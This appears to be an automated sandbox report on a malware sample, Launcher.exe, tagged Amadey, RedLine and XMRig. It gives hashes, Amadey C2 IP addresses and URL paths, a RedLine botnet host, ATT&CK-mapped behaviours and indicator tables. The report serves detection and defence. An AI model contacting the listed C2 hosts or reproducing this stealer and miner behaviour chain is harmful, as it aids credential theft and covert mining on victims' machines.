amadey | 37ffba131c763e2630433b2865a8149508af32f387fb5808cfaf539815bb5077

Analysis

max time kernel
148s
max time network
142s
platform
windows10-1703_x64
resource
win10-20240221-en
resource tags

arch:x64arch:x86image:win10-20240221-enlocale:en-usos:windows10-1703-x64system
submitted
23-02-2024 10:15

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Launcher.exe
Size

364KB
MD5

fea10d11d84919cb9a0a0752d61c0a66
SHA1

aea3c65e2b62851b2dd112597f28379b49c58a0a
SHA256

2786febdd57874118eaf5e257382cf4467d43f9ca189ac48ff6d45494f1cbab7
SHA512

e382f79ec1f1c370cd0053cccc7a0db8f3dc28b22f9dacd5f425c60adfb21e4a6eed3e119a7f9bbf135839e22d46511ca793cf8b5118d0e6256ebbbe749fc508
SSDEEP

6144:LpS9kEFKbITUvR8cy8dzQ7Lcf3Si96sfO+2RZrTql9unNrkYqliwrZR5lJWPkOD:Lp8KLBzQ7Lcf3SiQs2FTTql9unNrkvzw

Score

10^/10

amadey redline xmrig 11 discovery evasion infostealer miner persistence spyware stealer trojan

Malware Config

Extracted

Family

amadey

Version

4.17

http://185.196.10.188

http://45.159.189.140

http://89.23.103.42

Attributes

install_dir
d9645f975a
install_file
Dctooux.exe
strings_key
63cccebb4f5b1c1e01047657797f75bb
url_paths
/hb9IvshS/index.php
/f5f/index.php

rc4.plain

Extracted

Family

redline

Botnet

mezla.site:80

Signatures

Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
trojan amadey
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 1 IoCs

Processes:

resource	yara_rule
behavioral2/memory/164-733-0x0000000000400000-0x0000000000450000-memory.dmp	family_redline

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 13 IoCs

miner

Processes:

resource	yara_rule
behavioral2/memory/196-712-0x0000000140000000-0x0000000140AB6000-memory.dmp	xmrig
behavioral2/memory/196-711-0x0000000140000000-0x0000000140AB6000-memory.dmp	xmrig
behavioral2/memory/196-713-0x0000000140000000-0x0000000140AB6000-memory.dmp	xmrig
behavioral2/memory/196-715-0x0000000140000000-0x0000000140AB6000-memory.dmp	xmrig
behavioral2/memory/196-716-0x0000000140000000-0x0000000140AB6000-memory.dmp	xmrig
behavioral2/memory/196-719-0x0000000140000000-0x0000000140AB6000-memory.dmp	xmrig
behavioral2/memory/196-720-0x0000000140000000-0x0000000140AB6000-memory.dmp	xmrig
behavioral2/memory/196-718-0x0000000140000000-0x0000000140AB6000-memory.dmp	xmrig
behavioral2/memory/196-721-0x0000000140000000-0x0000000140AB6000-memory.dmp	xmrig
behavioral2/memory/196-722-0x0000000140000000-0x0000000140AB6000-memory.dmp	xmrig
behavioral2/memory/196-752-0x0000000140000000-0x0000000140AB6000-memory.dmp	xmrig
behavioral2/memory/196-753-0x0000000140000000-0x0000000140AB6000-memory.dmp	xmrig
behavioral2/memory/196-756-0x0000000140000000-0x0000000140AB6000-memory.dmp	xmrig

Creates new service(s) 1 TTPs
persistence

Windows Service
T1543.003
Drops file in Drivers directory 2 IoCs

Processes:

2plugin2901csrss.exe

description ioc process

File created C:\Windows\system32\drivers\etc\hosts 2plugin2901
File created C:\Windows\system32\drivers\etc\hosts csrss.exe
Stops running service(s) 3 TTPs
evasion

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

description	ioc	process
File created	C:\Windows\system32\drivers\etc\hosts	2plugin2901
File created	C:\Windows\system32\drivers\etc\hosts	csrss.exe

Checks BIOS information in registry 2 TTPs 6 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

2plugin2901csrss.execonhost.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	2plugin2901
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	2plugin2901
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	csrss.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	csrss.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	conhost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	conhost.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001
Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs

Web Service
T1102

Processes:

flow ioc

15 raw.githubusercontent.com
16 raw.githubusercontent.com
22 raw.githubusercontent.com
23 raw.githubusercontent.com

flow	ioc
15	raw.githubusercontent.com
16	raw.githubusercontent.com
22	raw.githubusercontent.com
23	raw.githubusercontent.com

Drops file in System32 directory 4 IoCs

Processes:

powershell.execsrss.exe2plugin2901

description	ioc	process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\system32\MRT.exe	csrss.exe
File opened for modification	C:\Windows\system32\MRT.exe	2plugin2901
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe

Suspicious use of SetThreadContext 4 IoCs

Processes:

plugin0222csrss.exe3plugin0222

description	pid	process	target process
PID 4440 set thread context of 1620	4440	plugin0222	plugin0222
PID 4352 set thread context of 2928	4352	csrss.exe	conhost.exe
PID 4352 set thread context of 196	4352	csrss.exe	conhost.exe
PID 4632 set thread context of 164	4632	3plugin0222	3plugin0222

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Executes dropped EXE 14 IoCs

Processes:

Launhcer.exeLauncher.exewget.exewinrar.exeplugin0222wget.exeplugin0222winrar.exe2plugin2901wget.execsrss.exewinrar.exe3plugin02223plugin0222

pid	process
4780	Launhcer.exe
4388	Launcher.exe
2476	wget.exe
836	winrar.exe
4440	plugin0222
4220	wget.exe
1620	plugin0222
1828	winrar.exe
4036	2plugin2901
164	wget.exe
4352	csrss.exe
1280	winrar.exe
4632	3plugin0222
164	3plugin0222

Launches sc.exe 4 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exe

pid process

396 sc.exe
2628 sc.exe
992 sc.exe
2012 sc.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

1876 1620 WerFault.exe plugin0222

pid	process
396	sc.exe
2628	sc.exe
992	sc.exe
2012	sc.exe

pid	pid_target	process	target process
1876	1620	WerFault.exe	plugin0222

Modifies data under HKEY_USERS 47 IoCs

Processes:

powershell.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe

Modifies system certificate store 2 TTPs 5 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

Processes:

Launcher.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D69B561148F01C77C54578C10926DF5B856976AD	Launcher.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D69B561148F01C77C54578C10926DF5B856976AD\Blob = 0f00000001000000200000005229ba15b31b0c6f4cca89c2985177974327d1b689a3b935a0bd975532af22ab090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b06010505070308530000000100000040000000303e301f06092b06010401a032010130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00b000000010000003000000047006c006f00620061006c005300690067006e00200052006f006f00740020004300410020002d002000520033000000620000000100000020000000cbb522d7b7f127ad6a0113865bdf1cd4102e7d0759af635a7cf4720dc963c53b1400000001000000140000008ff04b7fa82e4524ae4d50fa639a8bdee2dd1bbc1d000000010000001000000001728e1ecf7a9d86fb3cec8948aba953030000000100000014000000d69b561148f01c77c54578c10926df5b856976ad2000000001000000630300003082035f30820247a003020102020b04000000000121585308a2300d06092a864886f70d01010b0500304c3120301e060355040b1317476c6f62616c5369676e20526f6f74204341202d20523331133011060355040a130a476c6f62616c5369676e311330110603550403130a476c6f62616c5369676e301e170d3039303331383130303030305a170d3239303331383130303030305a304c3120301e060355040b1317476c6f62616c5369676e20526f6f74204341202d20523331133011060355040a130a476c6f62616c5369676e311330110603550403130a476c6f62616c5369676e30820122300d06092a864886f70d01010105000382010f003082010a0282010100cc2576907906782216f5c083b684ca289efd057611c5ad8872fc460243c7b28a9d045f24cb2e4be1608246e152ab0c8147706cdd64d1ebf52ca30f823d0c2bae97d7b614861079bb3b1380778c08e149d26a622f1f5efa9668df892795389f06d73ec9cb26590d73deb0c8e9260e8315c6ef5b8bd20460ca49a628f6693bf6cbc82891e59d8a615737ac7414dc74e03aee722f2e9cfbd0bbbff53d00e10633e8822bae53a63a16738cdd410e203ac0b4a7a1e9b24f902e3260e957cbb904926868e538266075b29f77ff9114efae2049fcad401548d1023161195eb897efad77b7649a7abf5fc113ef9b62fb0d6ce0546916a903da6ee983937176c6698582170203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e041604148ff04b7fa82e4524ae4d50fa639a8bdee2dd1bbc300d06092a864886f70d01010b050003820101004b40dbc050aafec80ceff796544549bb96000941acb3138686280733ca6be674b9ba002daea40ad3f5f1f10f8abf73674a83c7447b78e0af6e6c6f03298e333945c38ee4b9576caafc1296ec53c62de4246cb99463fbdc536867563e83b8cf3521c3c968fecedac253aacc908ae9f05d468c95dd7a58281a2f1ddecd0037418fed446dd75328977ef367041e15d78a96b4d3de4c27a44c1b737376f41799c21f7a0ee32d08ad0a1c2cff3cab550e0f917e36ebc35749bee12e2d7c608bc3415113239dcef7326b9401a899e72c331f3a3b25d28640ce3b2c8678c9612f14baeedb556fdf84ee05094dbd28d872ced36250651eeb92978331d9b3b5ca47583f5f	Launcher.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D69B561148F01C77C54578C10926DF5B856976AD\Blob = 040000000100000010000000c5dfb849ca051355ee2dba1ac33eb028030000000100000014000000d69b561148f01c77c54578c10926df5b856976ad1d000000010000001000000001728e1ecf7a9d86fb3cec8948aba9531400000001000000140000008ff04b7fa82e4524ae4d50fa639a8bdee2dd1bbc620000000100000020000000cbb522d7b7f127ad6a0113865bdf1cd4102e7d0759af635a7cf4720dc963c53b0b000000010000003000000047006c006f00620061006c005300690067006e00200052006f006f00740020004300410020002d002000520033000000530000000100000040000000303e301f06092b06010401a032010130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b060105050703080f00000001000000200000005229ba15b31b0c6f4cca89c2985177974327d1b689a3b935a0bd975532af22ab2000000001000000630300003082035f30820247a003020102020b04000000000121585308a2300d06092a864886f70d01010b0500304c3120301e060355040b1317476c6f62616c5369676e20526f6f74204341202d20523331133011060355040a130a476c6f62616c5369676e311330110603550403130a476c6f62616c5369676e301e170d3039303331383130303030305a170d3239303331383130303030305a304c3120301e060355040b1317476c6f62616c5369676e20526f6f74204341202d20523331133011060355040a130a476c6f62616c5369676e311330110603550403130a476c6f62616c5369676e30820122300d06092a864886f70d01010105000382010f003082010a0282010100cc2576907906782216f5c083b684ca289efd057611c5ad8872fc460243c7b28a9d045f24cb2e4be1608246e152ab0c8147706cdd64d1ebf52ca30f823d0c2bae97d7b614861079bb3b1380778c08e149d26a622f1f5efa9668df892795389f06d73ec9cb26590d73deb0c8e9260e8315c6ef5b8bd20460ca49a628f6693bf6cbc82891e59d8a615737ac7414dc74e03aee722f2e9cfbd0bbbff53d00e10633e8822bae53a63a16738cdd410e203ac0b4a7a1e9b24f902e3260e957cbb904926868e538266075b29f77ff9114efae2049fcad401548d1023161195eb897efad77b7649a7abf5fc113ef9b62fb0d6ce0546916a903da6ee983937176c6698582170203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e041604148ff04b7fa82e4524ae4d50fa639a8bdee2dd1bbc300d06092a864886f70d01010b050003820101004b40dbc050aafec80ceff796544549bb96000941acb3138686280733ca6be674b9ba002daea40ad3f5f1f10f8abf73674a83c7447b78e0af6e6c6f03298e333945c38ee4b9576caafc1296ec53c62de4246cb99463fbdc536867563e83b8cf3521c3c968fecedac253aacc908ae9f05d468c95dd7a58281a2f1ddecd0037418fed446dd75328977ef367041e15d78a96b4d3de4c27a44c1b737376f41799c21f7a0ee32d08ad0a1c2cff3cab550e0f917e36ebc35749bee12e2d7c608bc3415113239dcef7326b9401a899e72c331f3a3b25d28640ce3b2c8678c9612f14baeedb556fdf84ee05094dbd28d872ced36250651eeb92978331d9b3b5ca47583f5f	Launcher.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D69B561148F01C77C54578C10926DF5B856976AD\Blob = 190000000100000010000000d0fd3c9c380d7b65e26b9a3fedd39b8f0f00000001000000200000005229ba15b31b0c6f4cca89c2985177974327d1b689a3b935a0bd975532af22ab090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b06010505070308530000000100000040000000303e301f06092b06010401a032010130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00b000000010000003000000047006c006f00620061006c005300690067006e00200052006f006f00740020004300410020002d002000520033000000620000000100000020000000cbb522d7b7f127ad6a0113865bdf1cd4102e7d0759af635a7cf4720dc963c53b1400000001000000140000008ff04b7fa82e4524ae4d50fa639a8bdee2dd1bbc1d000000010000001000000001728e1ecf7a9d86fb3cec8948aba953030000000100000014000000d69b561148f01c77c54578c10926df5b856976ad040000000100000010000000c5dfb849ca051355ee2dba1ac33eb0282000000001000000630300003082035f30820247a003020102020b04000000000121585308a2300d06092a864886f70d01010b0500304c3120301e060355040b1317476c6f62616c5369676e20526f6f74204341202d20523331133011060355040a130a476c6f62616c5369676e311330110603550403130a476c6f62616c5369676e301e170d3039303331383130303030305a170d3239303331383130303030305a304c3120301e060355040b1317476c6f62616c5369676e20526f6f74204341202d20523331133011060355040a130a476c6f62616c5369676e311330110603550403130a476c6f62616c5369676e30820122300d06092a864886f70d01010105000382010f003082010a0282010100cc2576907906782216f5c083b684ca289efd057611c5ad8872fc460243c7b28a9d045f24cb2e4be1608246e152ab0c8147706cdd64d1ebf52ca30f823d0c2bae97d7b614861079bb3b1380778c08e149d26a622f1f5efa9668df892795389f06d73ec9cb26590d73deb0c8e9260e8315c6ef5b8bd20460ca49a628f6693bf6cbc82891e59d8a615737ac7414dc74e03aee722f2e9cfbd0bbbff53d00e10633e8822bae53a63a16738cdd410e203ac0b4a7a1e9b24f902e3260e957cbb904926868e538266075b29f77ff9114efae2049fcad401548d1023161195eb897efad77b7649a7abf5fc113ef9b62fb0d6ce0546916a903da6ee983937176c6698582170203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e041604148ff04b7fa82e4524ae4d50fa639a8bdee2dd1bbc300d06092a864886f70d01010b050003820101004b40dbc050aafec80ceff796544549bb96000941acb3138686280733ca6be674b9ba002daea40ad3f5f1f10f8abf73674a83c7447b78e0af6e6c6f03298e333945c38ee4b9576caafc1296ec53c62de4246cb99463fbdc536867563e83b8cf3521c3c968fecedac253aacc908ae9f05d468c95dd7a58281a2f1ddecd0037418fed446dd75328977ef367041e15d78a96b4d3de4c27a44c1b737376f41799c21f7a0ee32d08ad0a1c2cff3cab550e0f917e36ebc35749bee12e2d7c608bc3415113239dcef7326b9401a899e72c331f3a3b25d28640ce3b2c8678c9612f14baeedb556fdf84ee05094dbd28d872ced36250651eeb92978331d9b3b5ca47583f5f	Launcher.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D69B561148F01C77C54578C10926DF5B856976AD\Blob = 5c000000010000000400000000080000040000000100000010000000c5dfb849ca051355ee2dba1ac33eb028030000000100000014000000d69b561148f01c77c54578c10926df5b856976ad1d000000010000001000000001728e1ecf7a9d86fb3cec8948aba9531400000001000000140000008ff04b7fa82e4524ae4d50fa639a8bdee2dd1bbc620000000100000020000000cbb522d7b7f127ad6a0113865bdf1cd4102e7d0759af635a7cf4720dc963c53b0b000000010000003000000047006c006f00620061006c005300690067006e00200052006f006f00740020004300410020002d002000520033000000530000000100000040000000303e301f06092b06010401a032010130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b060105050703080f00000001000000200000005229ba15b31b0c6f4cca89c2985177974327d1b689a3b935a0bd975532af22ab190000000100000010000000d0fd3c9c380d7b65e26b9a3fedd39b8f2000000001000000630300003082035f30820247a003020102020b04000000000121585308a2300d06092a864886f70d01010b0500304c3120301e060355040b1317476c6f62616c5369676e20526f6f74204341202d20523331133011060355040a130a476c6f62616c5369676e311330110603550403130a476c6f62616c5369676e301e170d3039303331383130303030305a170d3239303331383130303030305a304c3120301e060355040b1317476c6f62616c5369676e20526f6f74204341202d20523331133011060355040a130a476c6f62616c5369676e311330110603550403130a476c6f62616c5369676e30820122300d06092a864886f70d01010105000382010f003082010a0282010100cc2576907906782216f5c083b684ca289efd057611c5ad8872fc460243c7b28a9d045f24cb2e4be1608246e152ab0c8147706cdd64d1ebf52ca30f823d0c2bae97d7b614861079bb3b1380778c08e149d26a622f1f5efa9668df892795389f06d73ec9cb26590d73deb0c8e9260e8315c6ef5b8bd20460ca49a628f6693bf6cbc82891e59d8a615737ac7414dc74e03aee722f2e9cfbd0bbbff53d00e10633e8822bae53a63a16738cdd410e203ac0b4a7a1e9b24f902e3260e957cbb904926868e538266075b29f77ff9114efae2049fcad401548d1023161195eb897efad77b7649a7abf5fc113ef9b62fb0d6ce0546916a903da6ee983937176c6698582170203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e041604148ff04b7fa82e4524ae4d50fa639a8bdee2dd1bbc300d06092a864886f70d01010b050003820101004b40dbc050aafec80ceff796544549bb96000941acb3138686280733ca6be674b9ba002daea40ad3f5f1f10f8abf73674a83c7447b78e0af6e6c6f03298e333945c38ee4b9576caafc1296ec53c62de4246cb99463fbdc536867563e83b8cf3521c3c968fecedac253aacc908ae9f05d468c95dd7a58281a2f1ddecd0037418fed446dd75328977ef367041e15d78a96b4d3de4c27a44c1b737376f41799c21f7a0ee32d08ad0a1c2cff3cab550e0f917e36ebc35749bee12e2d7c608bc3415113239dcef7326b9401a899e72c331f3a3b25d28640ce3b2c8678c9612f14baeedb556fdf84ee05094dbd28d872ced36250651eeb92978331d9b3b5ca47583f5f	Launcher.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.exepowershell.exe2plugin2901powershell.execsrss.exepowershell.execonhost.exe3plugin0222

pid	process
3436	powershell.exe
3436	powershell.exe
3436	powershell.exe
4664	powershell.exe
4664	powershell.exe
4664	powershell.exe
4036	2plugin2901
1492	powershell.exe
1492	powershell.exe
1492	powershell.exe
4036	2plugin2901
4036	2plugin2901
4036	2plugin2901
4036	2plugin2901
4036	2plugin2901
4036	2plugin2901
4352	csrss.exe
3736	powershell.exe
3736	powershell.exe
3736	powershell.exe
3736	powershell.exe
4352	csrss.exe
4352	csrss.exe
4352	csrss.exe
196	conhost.exe
196	conhost.exe
196	conhost.exe
196	conhost.exe
196	conhost.exe
196	conhost.exe
196	conhost.exe
196	conhost.exe
196	conhost.exe
196	conhost.exe
196	conhost.exe
196	conhost.exe
196	conhost.exe
196	conhost.exe
196	conhost.exe
196	conhost.exe
196	conhost.exe
196	conhost.exe
196	conhost.exe
196	conhost.exe
196	conhost.exe
196	conhost.exe
196	conhost.exe
196	conhost.exe
196	conhost.exe
196	conhost.exe
196	conhost.exe
196	conhost.exe
196	conhost.exe
196	conhost.exe
196	conhost.exe
196	conhost.exe
164	3plugin0222
196	conhost.exe
196	conhost.exe
196	conhost.exe
196	conhost.exe
196	conhost.exe
196	conhost.exe
164	3plugin0222

Suspicious use of AdjustPrivilegeToken 39 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.execonhost.exe3plugin0222

description	pid	process
Token: SeDebugPrivilege	3436	powershell.exe
Token: SeDebugPrivilege	4664	powershell.exe
Token: SeDebugPrivilege	1492	powershell.exe
Token: SeIncreaseQuotaPrivilege	1492	powershell.exe
Token: SeSecurityPrivilege	1492	powershell.exe
Token: SeTakeOwnershipPrivilege	1492	powershell.exe
Token: SeLoadDriverPrivilege	1492	powershell.exe
Token: SeSystemProfilePrivilege	1492	powershell.exe
Token: SeSystemtimePrivilege	1492	powershell.exe
Token: SeProfSingleProcessPrivilege	1492	powershell.exe
Token: SeIncBasePriorityPrivilege	1492	powershell.exe
Token: SeCreatePagefilePrivilege	1492	powershell.exe
Token: SeBackupPrivilege	1492	powershell.exe
Token: SeRestorePrivilege	1492	powershell.exe
Token: SeShutdownPrivilege	1492	powershell.exe
Token: SeDebugPrivilege	1492	powershell.exe
Token: SeSystemEnvironmentPrivilege	1492	powershell.exe
Token: SeRemoteShutdownPrivilege	1492	powershell.exe
Token: SeUndockPrivilege	1492	powershell.exe
Token: SeManageVolumePrivilege	1492	powershell.exe
Token: 33	1492	powershell.exe
Token: 34	1492	powershell.exe
Token: 35	1492	powershell.exe
Token: 36	1492	powershell.exe
Token: SeDebugPrivilege	3736	powershell.exe
Token: SeAssignPrimaryTokenPrivilege	3736	powershell.exe
Token: SeIncreaseQuotaPrivilege	3736	powershell.exe
Token: SeSecurityPrivilege	3736	powershell.exe
Token: SeTakeOwnershipPrivilege	3736	powershell.exe
Token: SeLoadDriverPrivilege	3736	powershell.exe
Token: SeSystemtimePrivilege	3736	powershell.exe
Token: SeBackupPrivilege	3736	powershell.exe
Token: SeRestorePrivilege	3736	powershell.exe
Token: SeShutdownPrivilege	3736	powershell.exe
Token: SeSystemEnvironmentPrivilege	3736	powershell.exe
Token: SeUndockPrivilege	3736	powershell.exe
Token: SeManageVolumePrivilege	3736	powershell.exe
Token: SeLockMemoryPrivilege	196	conhost.exe
Token: SeDebugPrivilege	164	3plugin0222

Suspicious use of FindShellTrayWindow 11 IoCs

Processes:

wget.exewinrar.exewget.exewinrar.exewget.exewinrar.exe

pid	process
2476	wget.exe
836	winrar.exe
836	winrar.exe
4220	wget.exe
1828	winrar.exe
1828	winrar.exe
1828	winrar.exe
164	wget.exe
1280	winrar.exe
1280	winrar.exe
1280	winrar.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

Launcher.exeLaunhcer.exepowershell.exeLauncher.exeplugin0222cmd.execmd.execsrss.exe

description	pid	process	target process
PID 3064 wrote to memory of 4780	3064	Launcher.exe	Launhcer.exe
PID 3064 wrote to memory of 4780	3064	Launcher.exe	Launhcer.exe
PID 3064 wrote to memory of 4780	3064	Launcher.exe	Launhcer.exe
PID 3064 wrote to memory of 4780	3064	Launcher.exe	Launhcer.exe
PID 3064 wrote to memory of 4780	3064	Launcher.exe	Launhcer.exe
PID 4780 wrote to memory of 3436	4780	Launhcer.exe	powershell.exe
PID 4780 wrote to memory of 3436	4780	Launhcer.exe	powershell.exe
PID 4780 wrote to memory of 3436	4780	Launhcer.exe	powershell.exe
PID 3436 wrote to memory of 4388	3436	powershell.exe	Launcher.exe
